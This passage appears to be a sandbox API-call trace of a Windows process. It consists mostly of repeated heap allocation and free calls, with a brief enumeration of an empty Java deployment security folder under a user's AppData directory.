HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.669] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.669] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.669] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.669] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.669] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.669] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\") returned="security\\" [0114.669] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.669] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0114.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.669] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0114.669] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ec028 [0114.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0114.669] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0114.669] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0114.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ec028 | out: hHeap=0x5010000) returned 1 [0114.669] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0114.669] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a481c8 | out: hHeap=0x5010000) returned 1 [0114.669] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.669] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0114.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0114.669] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.669] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0114.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0114.669] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.669] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0114.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.670] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.670] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0114.670] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.670] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.670] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.670] PathFindFileNameW (pszPath="") returned="" [0114.670] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.670] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.671] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.671] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.671] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0114.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0114.671] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.671] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0114.671] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.671] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.671] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.671] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.671] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.671] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.671] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.671] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.671] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.671] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.671] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.672] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.673] HeapFree (in: hHeap=0x5010000, 